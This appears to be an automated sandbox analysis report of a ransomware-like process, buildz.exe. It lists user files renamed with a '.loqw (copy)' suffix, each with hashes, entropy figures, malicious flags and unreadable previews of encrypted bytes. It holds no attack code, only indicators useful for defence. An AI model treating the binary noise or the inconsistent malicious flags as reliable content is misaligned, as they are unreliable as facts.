SHA-512:	90C4436EC728FBE68A7E8EC8FC61053AB8BAE6DAE4E5B78D07D8C36383CF83351D0DC819CE088B38D114CEFD2F5836ED83C9789C45ABEC084F2B06B5059BC72E
Malicious:	false
Reputation:	unknown
Preview:	[{000...T..v7.a!.d....t.'......o....f..DQ.7...=.sQs...9.5T;V.u........o...y....zww.f.].zx.7.I.48mL....3@z....t.xq...3.S....,.b.....j..!Q[2kYr.R...V..`.....%F.I....f.SU..Yg).......o..E..N..j...W6.B..1mf.....C.ky...~..RN.=.P....e..j.G...*.U......eF....c..&an....EP...C1.w$v.8)..+'9.9.}...X....~...J(.%.$......qv.N[..d...Y.1L+y.;m..".{T....r'...3.1(@^.n.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.453599267110602
Encrypted:	false
SSDEEP:	12:hAilRlzxsf/ymks7msi5aK8gjr0Qj+f1+cii9a:hAixzxsfamvCkKRjrPj+sbD
MD5:	90D3D8EBA5B0D95959AE3BCF4C885F19
SHA1:	0F0420BD0D99E676EC09355C5D4BB42B21F7C1DA
SHA-256:	EA36F831BD8B10C9EB5C215461FA532A607939AAED1A74915CF0B2D61DE0F4C6
SHA-512:	90C4436EC728FBE68A7E8EC8FC61053AB8BAE6DAE4E5B78D07D8C36383CF83351D0DC819CE088B38D114CEFD2F5836ED83C9789C45ABEC084F2B06B5059BC72E
Malicious:	false
Reputation:	unknown
Preview:	[{000...T..v7.a!.d....t.'......o....f..DQ.7...=.sQs...9.5T;V.u........o...y....zww.f.].zx.7.I.48mL....3@z....t.xq...3.S....,.b.....j..!Q[2kYr.R...V..`.....%F.I....f.SU..Yg).......o..E..N..j...W6.B..1mf.....C.ky...~..RN.=.P....e..j.G...*.U......eF....c..&an....EP...C1.w$v.8)..+'9.9.}...X....~...J(.%.$......qv.N[..d...Y.1L+y.;m..".{T....r'...3.1(@^.n.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.405960168472943
Encrypted:	false
SSDEEP:	12:vgIIEH5FTGgBQNVmGHQeIirTNl9er6GSpwTsbt1+cii9a:4IIa3qgBAHQe/fh3u9bD
MD5:	9E6A00F4F49B49F759B00D1EDFF6A662
SHA1:	5CAEE815C9694F2DB41BF90DD0F5CAEAF0DC51D7
SHA-256:	B82C4AF98653B8EC6828DE10EE61259B29889E6D9C88CB952CD024780F3875E9
SHA-512:	8A764DE60248CDDE1B08C1B7F9749102BC26A8ED43AF98A5A3DA26E47A1E49758B430A3E159497DE17DAD8D291030EBD810D43ABA4EB856CAAB4F29CB6F4DBDF
Malicious:	false
Reputation:	unknown
Preview:	[{000..I...`..b.`.S.E...:.......9....m..xn{....co..2>...P.4....vO]..S.2....w~..5"-8.,( ....7.ox..%r.<...~.@...j..c..Cc..5.P%.N..I..m..[+...<.....U..Y;%-j.8.m..\|..1.Q.OF..I.=Y.3.S.K5....-...$.H......!.g.;....Ts...f..v...$..Y.!).IZ..-..).O.S.t.u[...../.Cl=..U.-..6.g...%I....@...-...!........:..Z....(.C...P.L..L.U.E...rriQ.f...f...+....\|r7P.......3.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.405960168472943
Encrypted:	false
SSDEEP:	12:vgIIEH5FTGgBQNVmGHQeIirTNl9er6GSpwTsbt1+cii9a:4IIa3qgBAHQe/fh3u9bD
MD5:	9E6A00F4F49B49F759B00D1EDFF6A662
SHA1:	5CAEE815C9694F2DB41BF90DD0F5CAEAF0DC51D7
SHA-256:	B82C4AF98653B8EC6828DE10EE61259B29889E6D9C88CB952CD024780F3875E9
SHA-512:	8A764DE60248CDDE1B08C1B7F9749102BC26A8ED43AF98A5A3DA26E47A1E49758B430A3E159497DE17DAD8D291030EBD810D43ABA4EB856CAAB4F29CB6F4DBDF
Malicious:	false
Reputation:	unknown
Preview:	[{000..I...`..b.`.S.E...:.......9....m..xn{....co..2>...P.4....vO]..S.2....w~..5"-8.,( ....7.ox..%r.<...~.@...j..c..Cc..5.P%.N..I..m..[+...<.....U..Y;%-j.8.m..\|..1.Q.OF..I.=Y.3.S.K5....-...$.H......!.g.;....Ts...f..v...$..Y.!).IZ..-..).O.S.t.u[...../.Cl=..U.-..6.g...%I....@...-...!........:..Z....(.C...P.L..L.U.E...rriQ.f...f...+....\|r7P.......3.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\ConnectedDevicesPlatform\CDPGlobalSettings.cdp.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	5196
Entropy (8bit):	7.96663409607487
Encrypted:	false
SSDEEP:	96:LY6XiFl0QLZxBtNEVaWMZktemsCxfdyQFXIHU3poTJSAwh:pSFl/ZRNEVMfmJxFFIHU32TxS
MD5:	A82C86D6D4BCBC4A7CE86D65BBB31062
SHA1:	27DF676BA8E1837E84AA7462111C13AFC833CF11
SHA-256:	CFFB71728469234E7D4FDA6ED2518F381DDCFA7618F2D67758D53ECB9A0DF052
SHA-512:	AA7BD1AEA2BDF34370A066A8F04DFE453A9F553FBC91454B26425CC4886546B847B61CB66F041DDDF9C9980950F8460202C6B86A9C830B39CEDD2CBBF316FF85
Malicious:	false
Reputation:	unknown
Preview:	.{..e..1..m.%%.Z....B.3.fs]......a.....?...-..%...X..t\P.Z.Z/...C./.5..C...W#[.^.8...N.B.ZG l....T..F.5e.9..-/.GJ..... ..I.Au5HI!.oB.D..u]A..\.X:. ..^...I\.\|........./.(.=e...3..~=.S.mXql.........N..b..dj........O.M.P.t....{G=..J@..>.......R]..iY.<Y.9Q..r. d8r..,j.q.b...~..e..{...u..7.U..k/;.+....M.....:<......g1.K..._.Bw..C+ []#....o..9.D:....^..R......F.x...{.6.Y*,..2.G....A....Y)....0..?..G._.....8\...A.:....4.N.....1...~....2....P..."......-...31aAXS........TL[<~..j.$.X...n.4..r..[.........[.o....^:.~p..).7..L~....:JH~......L.E9.....~...8..<......sx..".Ry..X.......M..t..&..R....Nd.....;.C..J..._._.y.....a..]@k.Yy.'.u..RGH?.[.HMC..."W...6.eF2."().8..1..w.o}......\|q......v.f...._..F.XR.qq.u....p.7.k`...]3f...9..:W#........s.R..F......./(.......,.O....J.+.Z.eH.%...?...J}S..'.o..L.%ng4,.v.%@....C..fD.-....J..=..n.S..:.....1!w...z..\.6..~Bq.....\|.c.....FG..4....R.x..<.{keB.h.V.8o X>.,...'..6....Rgy=.kn,2..6.#..wwr2,....)..D

C:\Users\user\Local Settings\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	988
Entropy (8bit):	7.811606073447244
Encrypted:	false
SSDEEP:	12:q0NbzXDJCeABccy2mD01JCtSbR2qUWlU91UrhQI5qlfYh/J1UalEfkJ10ccziyBn:VboeCcGASbRoiUgjYlkDlWN1BICGTKbD
MD5:	00777C1245CBE716FAB21A281327CC44
SHA1:	D0FACAFCD930EBFA01FBA6EE25F36CA11F118A98
SHA-256:	9CFE131177C1A746A4D14770778A48C606CFB4DA4AC2A3364362AC2585139691
SHA-512:	FEC10EB31C37B1A4557A515DE8EFE6C733086AE94D6EBB3E6E1DC22EEAFAFEDDC3E68518CAAF1FCD349E5B81F63C96F804E243103643E49393E07A73B42F4159
Malicious:	false
Reputation:	unknown
Preview:	....C.X!.7............. .D8..H.z.jR...#=aS6.[.........1.kQ9.....G.v...Tu.t..&..I...Z.....w-...Q.......D..WY......5.......[....a.[..Ub...'.g..rL...pw...:.\.b$....Is.w.....?F..kw,.........ApH....).W..$hq\|.q...".S.0.e.U......btN.;.D...L.p...,..=..G..,.&..4=.....1&.6...{./3.....T:..".@.oP?..b.m..o...W...zK.9Q..=..m......./..x.....v.F...0..4.;.5.v.6."H.I..DUl..I1.?..j'.*...a...eQ..,...&%..x..jze..s.vU....(?.o&K.$....B.7.\..'...u........xx}..&.[....%...=.!.X./...Xx.LN9.#6g.>.1..>....>.=..j..K.\|...0G.#t(.>%.....#B.YW.8h.E..Nu.m.3.T..>........\..U.G.P.....FVf.r.....?..Q. Y@...H.0.~..Qom.-...F........hs.9.N:.BW?..^P...2.....eM...P...M.q.;r..r...Gc......s ....`D......7M..%@H)...y...XzP.....r..9....?.3..'.?.p..;x......W~...x.....'(..(/....^.}..W......<...d..L../.....G...5......Q._oi.@.[fj^...<@..)2.H.'.9.......,...F.V.q....F..(.N_.J...r0>..J,.....M.#k.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdp.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1302
Entropy (8bit):	7.838789391034116
Encrypted:	false
SSDEEP:	24:/iwfe+CtwdXznpTsgJDERoEkAgg/i+/vsdH3D5a3pVvVz/5S0AbD:qwm+CGtzpTsgJrEh1U3D2Vvp/aD
MD5:	EF1C34ABC4E17B4422D2934AA7FF1F6F
SHA1:	0384C6973FE428EC2BFFF0232EDEEA311ED1129E
SHA-256:	9B52378D530D503243DDDFE150BFF87A7DD6FCF7D35B0E5F2737C9231DE4BF08
SHA-512:	7BEC4AC2466000EC8EDFC6ECD473D0D9637676334A25DC6E0BAB55706A50A684DD327EE8359B811B06AA4E1412FE6A0071D73C869F2D0CED6DBB16646B01BF0E
Malicious:	false
Reputation:	unknown
Preview:	.{. ........8..w2u...5.v..A..9.....2#e..k......^.o..Jq.^#.....sG.....g..\|}R.."$_..k.9...,.$........;.Y....HF..h.o..e.....N...c....v.V...b..t.U..V@....8G.")..].P...E.....)X.vi)'..G...s.....2Uq.g.. .g.....9.z..4'..[..\|...6.t.R~....a....<.1..s.o.2./.LY..A...h...F=l1N.#3.9......./.L.e....C...s.dp..:.".;..<.x.#A..{..t.w..B..P4.._.\|.~.....l...P.Q......c#..df.}:J...!N[N...`..Y.n.....>..<6.,..@.S\,R1/G...W....j}6..D.j.^sC"..k.....b...gt..&..Jl..>'.WxoAo.qy.K..Tp..h.jr...u>7h.r.....f..}.UC.y.~.BS.R...l0.pS...j....F......kF....!.<..o....u..v.U.....T8..r..>.r.fv1K>a`..G.;....0..i.'.Y~7E.._9^...=..}.Iz...^.g..H_W..Q.Bn.t..(.......kO_V..........@.c...a.Ac.f..-..@.h8.($........4...."D#~~'..!..lT/..F+..P...N..y.~.....u.`P!.ZW...9.)..f...m....9Ie.....)j9...?..h....=y.......p..),.........a.x...'...\|.x.....I9....^.[.n..Z.";m.Q..I...V.P..-\|...P.`......\u..^}5..........c..J..W3.ZKH....k4h../\|f..v.~.<5'.j_.(y...'.4..I+.... ..h.l.D=I.=..t(...c.:?.....og0.,.?.

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdpresource.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.4010976375196735
Encrypted:	false
SSDEEP:	12:kj7AY/sBplToRM4/98D1epo7m7xV1+cii9a:Un/cplTr+Cm7EbD
MD5:	D1FEAC63374005FB995359A067ECE89A
SHA1:	B9CF54B67E4FE1E405FFA61B66AFC696746F386B
SHA-256:	565BF04068BA9178FFFFBDCE8C3B5C524BA31664C4B7DA473B37F88BFE90E287
SHA-512:	D75C7037E7C9E1D043445952EDD58823DAB4E72492CDA7848B04E438A0020FCC7BD5A9CFB94E9A78D9854259397E5A32EAA6073265856FA1EBE6BD39330D7C63
Malicious:	false
Reputation:	unknown
Preview:	.{.... .>..p=].2ZFB..a......5..}.......4B...Vhq.\|...H].<=.\|.A.$.o%....d&...m\.t.r@V.H.pS,.......I......S[....<-f..x.9.....}U~. .Q..B.."..A.....7ng..T.....s6..$....:.L.Z.#Jl1x).).j+..._..Z+mzb....\|..j.0.[..}...CX(....\| fK?....U.ybj..Q><@X.]...=O.......}....HJFT_..{.o.&E;0%.,.?.0.]gu2;U...#.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\IconCache.db.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	11913
Entropy (8bit):	7.985862521664649
Encrypted:	false
SSDEEP:	192:YLWOI78qJz4nn1myaesrrrcXeTHI+93aX7ydhZ9uQvIvKyJQgyg6JDFE5X1IOrU/:YKB78l1mJouHharYO0y6m68x1dQ/
MD5:	26534DA28B82C3725634228B22340C55
SHA1:	791FB412C5C2733BA310227CC9081C9AD4771594
SHA-256:	F230F1396F1706DCAE0BC3315EA8B977B9B144F5089097536E16422F2ADB501F
SHA-512:	F90E63E9C923ABA4AAAF7461F433ED79DB48A999F39E58EEFF4F944148F02BE2D1F494E6D2635A04DCB0C0CF777CF59DBAF0BA988CBE7A8B188A425415768EA9
Malicious:	false
Reputation:	unknown
Preview:	H...W.>..PJ.}6..I.x.0.......?4.}o..U.....;6B=."...`..H..S...O...q...@j.....c.u.. ....:.W.....qr....j.....}...M....D..P......S..3.m..u..._0<...p....,t.;.. ..i4.6..7.#..c.N}..?...5.v.b........'........c..'.......T...q....G...V...Sg.3...Y..]..;..F...d.r$..JT..z.....1zZ..N[....w.#U4t.#.=P.b4.I9[..O.~.4...........}.o...G.5a.....L.B...F\|A..j.r...N0q._.....q..._?....PV..O.......)..m......?.:._.j.r...e.......ae.."..3([.m.....3....j.$.^XZ.&...{..n ..p.....8.e.qJ"...........@.".t.m.n.p..L.8.ol.P...[..i....T...}.f1.bTU.4.x.&X..h.BJ..V~..%...8>Hv(.3..m.nb.3....'..Bn$...s..8C....\>...U....{(.O....Er.\|..Fwa9X.q.B.T?.&.)e....C.=.w.Z&.j....8.].\. ...h.."-.y/Jt./.Hm? ........GFlX.......g`.N~nK....<..w..]...]..P:DK..b....d,...Q(P-.e.......8..........^U.....>>L#...h...Y....>I....?.\-)..:..X..D"h.8.....G........6.Nl{........gp^.......?..pFQ...<n-x...."Dq..........{....B..t........"......sz...3..92...6..gQ..c#nN...dU{....7......_..g....D.B.L....3.....;n..

C:\Users\user\Local Settings\Microsoft\CLR_v4.0_32\UsageLogs\alex.exe.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.870471747693516
Encrypted:	false
SSDEEP:	24:8D5Zqz5TpXcArzxIiSH8VG/Vuhu6Es0wkSRwlmnqGyViObD:8Drqz5T9byiSH8VG/VkfFRwlmnqGy0sD
MD5:	753653AF65B2D6C096648ED020AB2237
SHA1:	CDEB5BEFC871737B68F343FE19BEE138DCF8FABA
SHA-256:	881C46D189F7B18A681E4828A8BFA73623AD181A019E78D538A06935F160D987
SHA-512:	7AD18612C7129E32C55EF356340CAA14A75862B3937E7D05340930631E359EBCAE4ACE980C8A79E86429DC12F6061BE15F596E7DA8CF57DC49823F0F4DD91D4B
Malicious:	false
Reputation:	unknown
Preview:	1,"fuM.p......./...4...E..9-..o..Q1.4..=.x..#........gHH..oT2r$...C.U......u...z...R.........k.J.......f.{.@N.w...R.7.}a.,5..v...\|-V/..F.<.#d..Dd....]<L..X.m^f.WR.....c...[X..Cg..s....9...X....Q..QCC...E..,LV.A)....4....(q.@X5=..rd.Ql..XM`.v.b.....o..c...7s.t..\|....m.O...7.Qm.P..;p.\|!V.Iz.. .."...l..v.z..-........b. ......G..T\.........z.t.T2.. .>..... ...[..N..s{..Le._.{.eO..k:..L.$%...(....}<....cG U....'.\*.m.....-/...I&h..x/..L.SNf...o..]..sT8.v()X6S....Jt....$.3.Gn.....h.Z..J......i..N.m.5....f..Z.Pzcm.....N.(8u./4...,?=.o....=n...q9.BX...........q.R..j)....;.3...8.a..x.PUl.Ec.jRU/../8._...j...U.S.z...n...8].&..R.fQ.....~Xig..N...9.......4Z.>.1..a.@uz.)^.m.w..>...!.R!$....0.+...;.Ug.g)p.7w..xsV.xX..d.y2.k..vU.b.."\..9......~....Y....K..2.Ty....&I=w.`.>.3... 1..+..h+...i. ..:.j-..m.K..%.....{.......7............Q.Q\...j....yi....@a..A.......$.-...dy".G`uV.mjek...]".>..2{]<A.....M.N./..\...&..r.......%D.................QaY._M>.O.

C:\Users\user\Local Settings\Microsoft\CLR_v4.0_32\UsageLogs\spfasiazx.exe.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.8669084462208865
Encrypted:	false
SSDEEP:	48:S0GMWQi99V31VEVBYS2DCklQKJy/VsQ4nQg2D:Sr9972cS5kOKJytmQv
MD5:	F7C4953ED93C91504F7E58A821D2CFCD
SHA1:	E23E8A57CB066C92E8CC5F358B7972DEEF297604
SHA-256:	4093477DB054C94B04C90CF222F173E91509C62CDB8E53399C1F5484D748A514
SHA-512:	C5AE7EF4778F50B19A427B6107AD838535AB86239D31C7E6D96006FB6B6C293D5288084AECBA458610EC85E4D0B398BDCA5EEC1A11332B012DFF4C02C1FB4E76
Malicious:	false
Reputation:	unknown
Preview:	1,"fu..>....jJ6.ALw.z.m.H.U1.9..2.o`M..f=~....\.R.Q.b.s......+&.:.6v....~..b.8.S..>...kg.9..>.....n....m.D.>...d.E@.a.......>.......K.....6.....0..X.....5w.........0.)..`..cT]h$.V."ot.....fq....p.~64....G..nu.".r......'(A.{.d.._...`F..?.....\.KF....F....:..).0&...6.8......J.m-.. .....GEL$rL..+.0Z...L.A#5..A...8...;...5+.."c\.....Q?.3.8..".s.q-=6....U3..+[....m..M.Zf@.5.Q\.c...+.8.K...Tw\).......v...%.:....a~[..Y......K.w.k.I..A....T.i..........+......6#O...~...G...9)...K.5.J...8.....@{sH.sS..pE.r..B..i.....6........Y;...B...U......l..zG...x:(.J. ..&......!..O.{..1T/\9r...y...pn^.U`.37t.?...7....7..)z..)f..M......i,.P7.#.v...s.)}.9....%g.+.]r...c.K..dL.._.7...I........I.xR..W^.e........d$_..D.....v..H=..d.....Z........o.>x.o.x..a.P.....2?W.R...k.r.Kg6.........U....h.......N.c...._&.\....N..mol....aN..h_..c....t.Iy.:R.3H.........g.b.....S..."..M...Ab...e.&.*...o..Y...z3..$n.....`\|`R.3..C....V.X.bp0..)...I...?..lb..w..\|=...[l..

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992255311731539
Encrypted:	true
SSDEEP:	768:tmZl8JHNKhrT6VaVWdD8Wi/YaNRb9zfHYsS:tmZl8JtWrTqaYji/jNv0
MD5:	63E8DA2AE0B4B41224B50CCD16B1EC2B
SHA1:	60A2F40739751757693E311E3EF4E51D464A529B
SHA-256:	EFF502AC762E21BFB1D322EC85CA01F27C9BA1C2C60E0B540F2460552AFD832F
SHA-512:	17DBFB74DA0EDD93B09D4096726718E17E046FE444369DE7AC6256BF5A6B51CFBE7A83438C55B9DD666F033C431387F1231FBD8B40677D2334CABFCC2DD6EEA6
Malicious:	true
Reputation:	unknown
Preview:	SQLit.ru.[.H.t../i..Sn.?.,C...........m...FH......1..Yu.!z.".n......i....%../.>4\|.^.c.a..P.A8{...}...aY..>.4....r."....^.g.......].t........0.w?.S....=.Sb;.o.@.&..p......f..1Vr..!.._......@3..."0.R.9.`.H.v]..._f\|1.g.!.\|Q.x.......se".X..1\.&.@.XU....N.&....Y.A..p2..f\|J....u.$.1.....{Gm<e..v."...c.S.\|..Q>.5..\SNHH....DC.se...;.'...hZa.q&t....^.....B/[.U..EV.zq.......0...\|.+)...C.......J,.o.:....!Uld.&$.@.......;.....UQ;.t.Y.^#.._.......nq.....E/...mAE.B..L...g(..J .....awjgR..r.^VO.T....wS...q...}...~xf...9..o.)..!....<..5=...r:8..Z..9=...v_.;.c.....!....Y i...x].68...].W.....Yg.:.4.)s.....Q..!.7.0..\....>:......6..r....H.....l..9.....\|.....S%.....Gp=.~J.&.H.6KL...L4..'._...n..........9M.+...m...L-n.....o.V....h..n..&.trzQ!"....J.}..Y.mn..\|Em...k....A..jMu.!..s.+.@.J...>.g.ub.M..._!Z..8....dO.c.......^..............ese..M.[.I..5..^.*.?.T.0....c..``....._..{@.e....ew.oRC.'...3.1rw..+-.O...6r..f.l{.#..V.~.YB..$..}....0.Mdc.......0.

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997456202366174
Encrypted:	true
SSDEEP:	1536:jpHnZQN1ICTpQwAMqKij9XVqbN+YSW2cFqmCBVyEk4CJ:pZyDeZMC9XVqUIwBEE/S
MD5:	6AE1ED9769384CC2CF81A36A25B512C1
SHA1:	3F9DB56E7288D35B7A0570F88132CCD92380D4DF
SHA-256:	FA381094BC6CF2D5F98798BF42B45551E713A4E12A3E5A83DF1EBFA4F023D055
SHA-512:	3A41EEBAC802D5081D7D77F80D9D99B4710D5826D478671C416DC1A5AD356CD0E1B2E0132D3BB44AEBEF8B56A2F019D9E3CBEE6A8D1910DFCECEC385DA56D463
Malicious:	true
Reputation:	unknown
Preview:	1G.f.7.\|....$..bx..6.[.Jm.. ...:!R)<..X.BR.....H....M.Y.#.e,....G..>.....R.1V..a9..".{.Q..vA........[r.%..~UI.U.....U>..&..&.>C.'.&.....b........F.T.-.2.....U.f..Q!........9.m=.\.......Y...-.].....................Z_.....C... \.;...h..qh..\.'46.iI.R....7.!..?.-..r.....i...P..b.s.2V..l~e...f..5-.m]....K".<.BZ.8...X.^...8.Kv...>OhN.A.b......P.Te....&.H....}..._......._...%0.[..c.>0.-Q.q.S\......(..rr.?`.H........E.....u. .\...4s..$.f..#.Q.V.h.........[.&.u.9....9P..;4..\..to..f.U... i.-"..j.......R......A.....3\|..K.J.Q\..C.?.!n6.sE..Y...3.8T....%....qrp...m..E.P.-J[-/s..xx.'D...V.!o...[.D.s)`.....\~....v.../....\6.#...3.TNo.!..k5...EA...w.9..0..?.\....{.N.@...F........ .,..3...q.N..VcV'2.....U.~..$.qz...G..O....YN..L.....'+..I.:8.u.O.0W......PeV.O......GGN/..=8.P....5..t...[...UN.\|.5.11n...+......#V.(?...[...2+.JE[..@y.0bk.."..H.NN.C...K.&Y.Q.(9..&...?..k.N...s..$.c.s.z..A.*.&.I..oXL..H...`.G"..VS..S....-...).....ckvP.....B.Z.Xw.B..B.

C:\Users\user\Local Settings\Temp\AdobeARM.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	5041
Entropy (8bit):	7.956651229254598
Encrypted:	false
SSDEEP:	96:or6B3ZDn9DwoknwnIKN49f2zhMsOBuU4mNS4wEWqvgKjM3r5rYlE4Vr/mPAO:xJn90oksMQ8Bu1ms4w24IM3rCEmr+IO
MD5:	F4FAB312254ADC5E64A57F69FEE31DC4
SHA1:	94E447BAA40B63F2950279C46968FFEE00FC13F5
SHA-256:	B436DA2B8A2B7BE41252DF6BF0002F30CF5E4B7DC2AE6F1E762EE4B9FAC06349
SHA-512:	38D5733B3A380A7CD504F106A46FCC9C4BFC49BE11F58E8675656633275260991BBD218AD2B41E541574540E1EF98DBB9331F553163A680D23871FCCF8CAE387
Malicious:	false
Reputation:	unknown
Preview:	[2023._.B..(\|...}b,..i-2...rT4F.....ma-.+s....JO....<.....r...Pk.Z.......!..,kA;.F;....-Rn..x..!.P..J.P.2...K.Qpf.w.... ..d& ;.....`!.e.k.!~d........6...3g...]."1.uv.\.p...H..\... ..{..&..R.I..;>P..XsE..Y:..9..La.V..A..tR>.&V.,4q..WmiF.......cE.......(\......3./>.../.tC.a3.]T....U.!.K........a.5...u{..O...G..`.N.B..;....1..sE.d...Ef....L..A...L..L.-.(........#a.\~Y.._.`\x."N..A.f...z. ....K.;N....C.........y..-ft.r6.;.s.....././...$..;......;9........L.....&.X.^..mcP$.X9ft.._%....C0z...,Z....7%[5..........$...-.MKD..4...#IF.+..W...%.K,....iR....4V.H#b..a..[."....4.nD.Q=I..boM....6.*x1G;#.....D..N.9g..@....'t....D...C...?..~.C....F..T(7.........u...K..J..z?rW>.........\|.}..5'...>.c."..8.@2.......ka/u............/.... mV.vuE0...D.`...f5f..9LD.+..x..R..V./.........8vy.iK.uS#.i..;..+.1....L.5................8.+.Iz='.8.]../(...X.:.a..q.......n.....?.x.../2......0.e.'e.y}......".<...v.4lk.j....$$.`w..rj....I.Zyh.y.`=o....

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	42850
Entropy (8bit):	7.995267586898348
Encrypted:	true
SSDEEP:	768:cwX9NhAvUFyD4BuOZjeb4SkAsaM5M93PZn0SWDfZZXoLIVEgsS/CrcG:daOy0B3XSMaM69hSLZZ4LRJS/CrN
MD5:	68CE774EFF2F621BD81F044AD953F703
SHA1:	92727CCDADC58B1E8414F7964942E65E6BB7C3F8
SHA-256:	1882D0D115BC2BCFEC3997330E51F6A345056FD593B4CE315228F0370D053317
SHA-512:	F6DCFD67E503BE74F883E531C9701CC104BC381F52BF7E0DDCB8D9C869E48FBB7B192626593714F9271A6CDF66C6219C0686F6CA91F98610DB474E741A548CB5
Malicious:	true
Reputation:	unknown
Preview:	..T.i.t....7.......2.:.)..`.....e.B..q....p)H.[.'...>;..3..hzmF....._..>yu....nD.....Bj...5.D..W.<\.......uC.....X....K...[....xE.."-6;.....(V`Z..~:Cc.p\|<..9.a!.4.....6.n..e\..:......al2..?.%.>t..?...EU...-V.....T.+.)..cdE8..s.\...Yy.........dc.V..r.w...../55d..'0w....-.n<..z.....}.%z."...Dy...FA..e.$.....M._..Q...zN.3!0.y.>...@h.........{.=.6y..Y..;,...jA....F.n.zl...p.tH..Yg,..6....y'45..P.....F.......?.S.e=[d.=...&.w.@S..E...[.x..5..P?..U...B.T`L.).rt9..f...0..}2.k..X.[..%W.O......cN.#At.9y.xs4"z.(.,!.>.#.y.....s.....ith!C.;...Q.....J....R.!.`.+M=C...l........tO..ap,.......J.......]..N<cV.V.".x.u.8..m+....9.......w..f.X...4T.-..k.{s.r[Of#..[......O%.0.....(.d....L.-..[......]...O..[..F...(y.Z.-.S.e.o.O...j.1..9.45Ar..j.[..#..n>......Y.......:Y.2.....s......n..s!E.T..D...#...IP..m.......2.E'./..O..8.8.A.v.<4i.O...Et....A.....N..g.x..."..].2[..T.R.GR.S....X......`.hN.$I....s...7.......V.....V=".....Q..e.kg.{.._.(.. JO..

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258a.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	462288
Entropy (8bit):	5.8490518742820825
Encrypted:	false
SSDEEP:	6144:BWMwJD/IELnGbCnH5f6EVejP6expjmenC:BWZhPrGbCnH5CHWeqeC
MD5:	04426680D87142CFC92F0EF434E064E8
SHA1:	851C5567780BA7552A10076B75535EAD4CE605B4
SHA-256:	DFD44F5B7A5E57EE11D04EB7100402ED8E0FC38A7636222A1D91C3EED0078BB3
SHA-512:	EFBC47DC6063445BD91276949CA8BB6B92720B6800391584D29E1479CBD92A6B8BD795F33E00EE82AB4E6713689F1BF40696A0ED07BDF1EE3F6EF4A9C56A6728
Malicious:	false
Reputation:	unknown
Preview:	..T.iL.....Ux\{4.l..k..x5..$..E...!...m..{D...7.K.....PW.[.`N.zj.....".f....y.g.T..M....-{.........ol.=:.zY.g}x.......`.....'}{..rn.V.....F6..+.w.............y;!W.}.\\.Q,..X.F..l.\.cR$.....4R.~%....n.`.X.;G....7p.(}v.Y ......j........s3......f......1.w....s....'}...[YY.#..?....M.........>n/.....tB..g.+........b.I.+'....7.h......GZ....5aW.-L.}G.ShABJFQ3..#...~...T.%..}..}Qc......I...8B.r.Y.ca...d.....{.5..`...R..,/.b%.._.]....2....+.JH...3.m..f?..m...w..w4.=.1..f.t.Q..."x.L#.peV#....R.),S..../.6......=.....O"=.....:...-..... .*L....]. 